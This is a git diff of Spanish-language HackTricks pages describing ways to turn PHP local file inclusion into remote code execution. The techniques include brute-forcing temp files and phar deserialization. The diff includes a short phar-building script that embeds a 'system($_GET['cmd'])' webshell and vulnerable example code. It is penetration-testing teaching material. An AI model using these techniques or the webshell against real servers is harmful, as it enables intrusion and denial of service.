||||
|
||||
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros de php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribir** en un archivo.
|
||||
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribir** en un archivo.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via fallo de segmentación
|
||||
### Via segmentation fault
|
||||
|
||||
**Sube** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca un **fallo de segmentación**, y entonces el **archivo temporal no se eliminará** y podrás buscarlo.
|
||||
**Sube** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca un **segmentation fault**, y entonces el **archivo temporal no se eliminará** y podrás buscarlo.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via almacenamiento temporal de archivos de Nginx
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Si encontraste una **Inclusión de Archivo Local** y **Nginx** está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
|
||||
Si encontraste una **Local File Inclusion** y **Nginx** está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
|
@ -572,15 +576,15 @@ Si encontraste una **Inclusión de Archivo Local** y **Nginx** está ejecutándo
|
|||
|
||||
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
Si encontraste una **Inclusión de Archivo Local** incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión por ti**. Podrías abusar de esto para obtener RCE:
|
||||
Si encontraste una **Local File Inclusion** incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión por ti**. Podrías abusar de esto para obtener RCE:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via subidas de archivos temporales en Windows
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Si encontraste una **Inclusión de Archivo Local** y el servidor está ejecutándose en **Windows**, podrías obtener RCE:
|
||||
Si encontraste una **Local File Inclusion** y el servidor está ejecutándose en **Windows**, podrías obtener RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
|
@ -588,34 +592,34 @@ Si encontraste una **Inclusión de Archivo Local** y el servidor está ejecután
|
|||
|
||||
### Via phpinfo() (file\_uploads = on)
|
||||
|
||||
Si encontraste una **Inclusión de Archivo Local** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
|
||||
Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgación de Ruta
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Si encontraste una **Inclusión de Archivo Local** y puedes **exfiltrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas de PHP**, puedes intentar **burlar esa verificación** con esta **Condición de Carrera**:
|
||||
Si encontraste una **Local File Inclusion** y puedes **exfiltrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas de PHP**, puedes intentar **burlar esa verificación** con esta **Condición de Carrera**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via espera eterna + fuerza bruta
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, podrías entonces **fuerza bruta en los nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, podrías entonces **fuerza bruta en los nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Hasta Error Fatal
|
||||
### To Fatal Error
|
||||
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
|
||||
|
||||
**No sé cómo esto puede ser útil, pero podría serlo.**\
|
||||
_Incluso si provocas un Error Fatal de PHP, los archivos temporales subidos de PHP se eliminan._
|
||||
_Incluso si causas un PHP Fatal Error, los archivos temporales subidos de PHP se eliminan._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -630,10 +634,10 @@ _Incluso si provocas un Error Fatal de PHP, los archivos temporales subidos de P
|
|||
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
**Hacking Insights**\
|
||||
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
**Real-Time Hack News**\
|
||||
Mantente al día con el mundo del hacking a través de noticias e insights en tiempo real.
|
||||
|
||||
**Últimos Anuncios**\
|
||||
|
@ -643,12 +647,14 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,52 +1,59 @@
|
|||
# LFI2RCE a través de Eternal waiting
|
||||
# LFI2RCE a través de la espera eterna
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
## Información Básica
|
||||
|
||||
Por defecto, cuando se carga un archivo en PHP (incluso si no se espera), se generará un archivo temporal en `/tmp` con un nombre como **`php[a-zA-Z0-9]{6}`**, aunque he visto algunas imágenes de Docker donde los archivos generados no contienen dígitos.
|
||||
Por defecto, cuando se sube un archivo a PHP (incluso si no lo está esperando), generará un archivo temporal en `/tmp` con un nombre como **`php[a-zA-Z0-9]{6}`**, aunque he visto algunas imágenes de docker donde los archivos generados no contienen dígitos.
|
||||
|
||||
En una inclusión local de archivos, **si logras incluir ese archivo cargado, obtendrás RCE**.
|
||||
En una inclusión de archivo local, **si logras incluir ese archivo subido, conseguirás RCE**.
|
||||
|
||||
Tenga en cuenta que por defecto, **PHP solo permite cargar 20 archivos en una sola solicitud** (establecido en `/etc/php/<versión>/apache2/php.ini`):
|
||||
Ten en cuenta que por defecto **PHP solo permite subir 20 archivos en una sola petición** (configurado en `/etc/php/<version>/apache2/php.ini`):
|
||||
```
|
||||
; Maximum number of files that can be uploaded via a single request
|
||||
max_file_uploads = 20
|
||||
```
|
||||
También existen otras técnicas que se basan en atacar los protocolos de PHP (no podrás hacerlo si solo controlas la última parte de la ruta), revelar la ruta del archivo, abusar de los archivos esperados o **hacer que PHP sufra una falla de segmentación para que los archivos temporales cargados no sean eliminados**. Esta técnica es **muy similar a la anterior, pero sin necesidad de encontrar un zero day**.
|
||||
También, el **número de nombres de archivos potenciales es 62\*62\*62\*62\*62\*62 = 56800235584**
|
||||
|
||||
### Otras técnicas
|
||||
|
||||
Otras técnicas se basan en atacar protocolos de PHP (no podrás si solo controlas la última parte de la ruta), revelando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra una falla de segmentación para que los archivos temporales subidos no se eliminen**.\
|
||||
Esta técnica es **muy similar a la última pero sin necesidad de encontrar un zero day**.
|
||||
|
||||
### Técnica de espera eterna
|
||||
|
||||
En esta técnica, **solo necesitamos controlar una ruta relativa**. Si logramos cargar archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **realizar un ataque de fuerza bruta a los archivos cargados** y **encontrar** cualquiera de los archivos cargados.
|
||||
En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos subir archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **fuerza bruta en archivos subidos** y **encontrar** cualquiera de los que se hayan subido.
|
||||
|
||||
**Ventajas de esta técnica**:
|
||||
**Pros de esta técnica**:
|
||||
|
||||
* Solo necesitas controlar una ruta relativa dentro de una inclusión
|
||||
* No requiere nginx ni un nivel inesperado de acceso a los archivos de registro
|
||||
* No requiere un zero day para causar una falla de segmentación
|
||||
* No requiere una revelación de ruta
|
||||
* Solo necesitas controlar una ruta relativa dentro de un include
|
||||
* No requiere nginx ni un nivel de acceso inesperado a archivos de registro
|
||||
* No requiere un 0 day para causar una falla de segmentación
|
||||
* No requiere revelación de ruta
|
||||
|
||||
Los **principales problemas** de esta técnica son:
|
||||
Los **problemas principales** de esta técnica son:
|
||||
|
||||
* Necesita que un archivo específico (pueden haber más) esté presente
|
||||
* La **enorme** cantidad de nombres de archivo potenciales: **56800235584**
|
||||
* Si el servidor **no está usando dígitos**, la cantidad total potencial es: **19770609664**
|
||||
* Por defecto, solo se pueden cargar **20 archivos** en una **solicitud única**.
|
||||
* El **número máximo de trabajadores en paralelo** del servidor utilizado.
|
||||
* Esta limitación junto con las anteriores puede hacer que este ataque dure demasiado tiempo
|
||||
* **Tiempo de espera para una solicitud de PHP**. Idealmente, esto debería ser eterno o debería matar el proceso de PHP sin eliminar los archivos cargados temporalmente. De lo contrario, esto también será un problema.
|
||||
* Necesidad de que esté presente un archivo específico(s) (podría haber más)
|
||||
* La cantidad **insana** de nombres de archivos potenciales: **56800235584**
|
||||
* Si el servidor **no utiliza dígitos** la cantidad total potencial es: **19770609664**
|
||||
* Por defecto **solo se pueden subir 20 archivos** en una **sola solicitud**.
|
||||
* El **número máximo de trabajadores paralelos** del servidor utilizado.
|
||||
* Este límite con los anteriores puede hacer que este ataque dure demasiado
|
||||
* **Tiempo de espera para una solicitud de PHP**. Idealmente, esto debería ser eterno o debería matar el proceso de PHP sin eliminar los archivos temporales subidos, si no, esto también será un problema
|
||||
|
||||
Entonces, ¿cómo puedes **hacer que una inclusión de PHP nunca termine**? Simplemente incluyendo el archivo **`/sys/kernel/security/apparmor/revision`** (**desafortunadamente no disponible en contenedores Docker**).
|
||||
Entonces, ¿cómo puedes **hacer que un include de PHP nunca termine**? Simplemente incluyendo el archivo **`/sys/kernel/security/apparmor/revision`** (**lamentablemente no disponible en contenedores Docker**).
|
||||
|
||||
Pruébalo llamando:
|
||||
```bash
|
||||
|
@ -61,42 +68,56 @@ Por defecto, (como puedo ver en mis pruebas), un **proceso PHP puede durar etern
|
|||
|
||||
Hagamos algunos cálculos:
|
||||
|
||||
* Podemos usar **149 conexiones** para generar **149 \* 20 = 2980 archivos temporales** con nuestra webshell.
|
||||
* Luego, usar la **última conexión** para **brute-force** archivos potenciales.
|
||||
* Podemos usar **149 conexiones** para generar **149 \* 20 = 2980 archivos temporales** con nuestro webshell.
|
||||
* Luego, usar la **última conexión** para **fuerza bruta** de archivos potenciales.
|
||||
* A una velocidad de **10 solicitudes/s** los tiempos son:
|
||||
* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de probabilidad en 265h)
|
||||
* (sin decimales) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de probabilidad en 93h)
|
||||
* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de probabilidad en 265h)
|
||||
* (sin dígitos) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de probabilidad en 93h)
|
||||
|
||||
{% hint style="warning" %}
|
||||
¡Ten en cuenta que en el ejemplo anterior estamos **haciendo DoS a otros clientes**!
|
||||
¡Nota que en el ejemplo anterior estamos **DoSing completamente a otros clientes**!
|
||||
{% endhint %}
|
||||
|
||||
Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a mitad del número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se **reduciría** a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
|
||||
Si el servidor Apache está mejorado y pudiéramos abusar de **4000 conexiones** (a mitad de camino hacia el máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se **reduciría** a alrededor de **19.7h** o **6.9h** (10h, 3.5h con 50% de probabilidad).
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
Si en lugar de usar el módulo php regular para apache para ejecutar scripts PHP, la **página web está usando** **PHP-FMP** (esto mejora la eficiencia de la página web, por lo que es común encontrarlo), hay algo más que se puede hacer para mejorar la técnica.
|
||||
|
||||
PHP-FMP permite **configurar** el **parámetro** **`request_terminate_timeout`** en **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
|
||||
Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro no está comentado**). Cuando una solicitud está siendo procesada por PHP durante el número indicado de segundos, es **eliminada**. Esto significa que si la solicitud estaba cargando archivos temporales, porque el **procesamiento de php se detuvo**, esos **archivos no se van a eliminar**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no se eliminarán, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS en la plataforma al consumir todas las conexiones.
|
||||
Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP el número indicado de segundos, es **terminada**. Esto significa, que si la solicitud estaba subiendo archivos temporales, debido a que el **procesamiento de php fue detenido**, esos **archivos no van a ser eliminados**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no serán eliminados, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS a la plataforma al consumir todas las conexiones.
|
||||
|
||||
Entonces, para **evitar DoS** supongamos que un **atacante usará solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento de php por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
|
||||
Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento de php por **php-fmp** (`request_terminate_timeout`**) es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
|
||||
|
||||
Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería de **25min**).
|
||||
Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería **25min**).
|
||||
|
||||
Luego, el atacante podría usar esas **100 conexiones** para realizar una **búsqueda de fuerza bruta**. Suponiendo una velocidad de 300 solicitudes/s, el tiempo necesario para explotar esto es el siguiente:
|
||||
Luego, el atacante podría usar esas **100 conexiones** para realizar una **búsqueda por fuerza bruta**. \*\*\*\* Suponiendo una velocidad de 300 req/s el tiempo necesario para explotar esto es el siguiente:
|
||||
|
||||
* 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de probabilidad en 2.63h)
|
||||
* (con 100000 archivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de probabilidad en 0.263h)
|
||||
|
||||
Sí, es posible generar 100000 archivos temporales en una instancia de tamaño mediano de EC2:
|
||||
Sí, es posible generar 100000 archivos temporales en una instancia EC2 de tamaño medio:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que para activar el tiempo de espera sería **suficiente con incluir la página LFI vulnerable**, para que entre en un bucle de inclusión eterno.
|
||||
Nota que para activar el tiempo de espera sería **suficiente incluir la página LFI vulnerable**, para que entre en un bucle de inclusión eterno.
|
||||
{% endhint %}
|
||||
|
||||
## Nginx
|
||||
|
||||
Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número puede mejorarse).
|
||||
Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número puede ser mejorado).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -22,7 +24,7 @@ Los archivos **Phar** (PHP Archive) **contienen metadatos en formato serializado
|
|||
|
||||
Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como **file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**.
|
||||
|
||||
Así que, imagina una situación donde puedes hacer que una web PHP obtenga el tamaño de un archivo arbitrario usando el protocolo **`phar://`**, y dentro del código encuentras una **clase** similar a la siguiente:
|
||||
Así que, imagina una situación en la que puedas hacer que una web PHP obtenga el tamaño de un archivo arbitrario usando el protocolo **`phar://`**, y dentro del código encuentres una **clase** similar a la siguiente:
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -40,9 +42,25 @@ system($this->data);
|
|||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
```php
|
||||
<?php
|
||||
class Example {
|
||||
public $inject = '<?php system($_GET["cmd"]); ?>';
|
||||
}
|
||||
|
||||
@unlink("phar.phar");
|
||||
$phar = new Phar("phar.phar");
|
||||
$phar->startBuffering();
|
||||
$phar->addFromString("test.txt", "test");
|
||||
$phar->setStub("<?php __HALT_COMPILER(); ?>");
|
||||
$o = new Example();
|
||||
$phar->setMetadata($o);
|
||||
$phar->stopBuffering();
|
||||
?>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Puedes crear un archivo **phar** que al ser cargado **abusará de esta clase para ejecutar comandos arbitrarios** con algo como:
|
||||
Puede crear un archivo **phar** que al cargarse **abusará de esta clase para ejecutar comandos arbitrarios** con algo como:
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```php
|
||||
|
@ -85,7 +103,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
